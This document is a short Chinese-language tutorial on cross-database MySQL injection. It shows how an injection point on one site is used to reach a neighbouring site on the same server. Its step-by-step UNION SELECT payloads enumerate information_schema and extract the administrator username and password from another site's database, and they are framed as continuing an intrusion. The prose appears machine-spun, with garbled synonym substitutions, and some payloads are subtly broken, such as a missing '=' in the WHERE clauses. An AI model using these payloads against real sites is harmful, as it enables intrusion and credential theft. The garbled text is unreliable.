Mysql跨库入侵扼要讲授

Mysql跨库入侵扼要讲授






文章作者:泛亚娱乐HLck



入侵设想：

目的是A站点，保险性比拟可以。然而在同服务器下的B站点，我们发明了一个Mysql 注入点，并且还有查询相关库的权限。



那么，我们就可以通过B站点的注入点跨库查询A站点的信息，入侵之 ..

当然你也能够把B站点入侵了，再入侵A。但不是有注入点就可以入侵的，偶·跑题了。



大家晓得在mysql5.0当前参加了 information_schemata 这个虚构库，根本构造如下：

Information_schema' Schemata 存放数据库信息的表

' Tables 存放数据库中表信息的表

' Columns 寄存数据库中列信息的表

..

对咱们入侵非常有辅助。

既然我们要跨库，就须要查询库信息。怎么查·上图，来得直接



还有一个要先容的，如果我们要查问mysql库中的user表中的相干信息，我们可以这样查：



好了，XX们已经等不急了。



B站注入点：





看看数据库基础情形

/../union/../select/../1,concat(user(),0x2c,version())

5.x的mysql，挺好的。持续



查库：

/../union/../select/../1,schema_name/../from/../information_schema.schemata/../limit/../0,1



这样查出来的就是mysql中的第一个数据库，想要查第二个数据库就将limit 0,1改为limit 1,1

以此类推。





有人就要问了，你怎么知道A站点的数据库是哪个呀·

这个嘛，1.Load_file，要看福气

2.猜猜，还可以看A站是不是整站程序，凭教训猜猜，像helen这样的牛B社工猜出来没问题。

通过上面的操作，我们已经获取了A站点的数据库名 adb(假设)



查治理员表：

/../union/../select/../1,table_name/../from/../information_schema.tables/../where/../table_schema0x616462/../limit/../0,1、



得到管理员表为 adb_admin



查管理员中表的字段：

/../union/../select/../1,column_name/../from/../information_schema.columns/../where/../table_name0x6164625F61646D696E/../limit/../0,1

.

得到管理员表字段为 admin_name admin_pass



查管理员帐,信息：

/../union/../select/../1,concat(admin_name,0x2c,admin_pass)/../from/../adb.adb_admin/../limit/../0,1



OK到这里A站点的管理员信息也就查询出来了，XX们，继承入侵工作



注：

adb的Hex为0x616462

adb_admin的Hex为0x6164625F61646D696E

, 的Hex为0x2c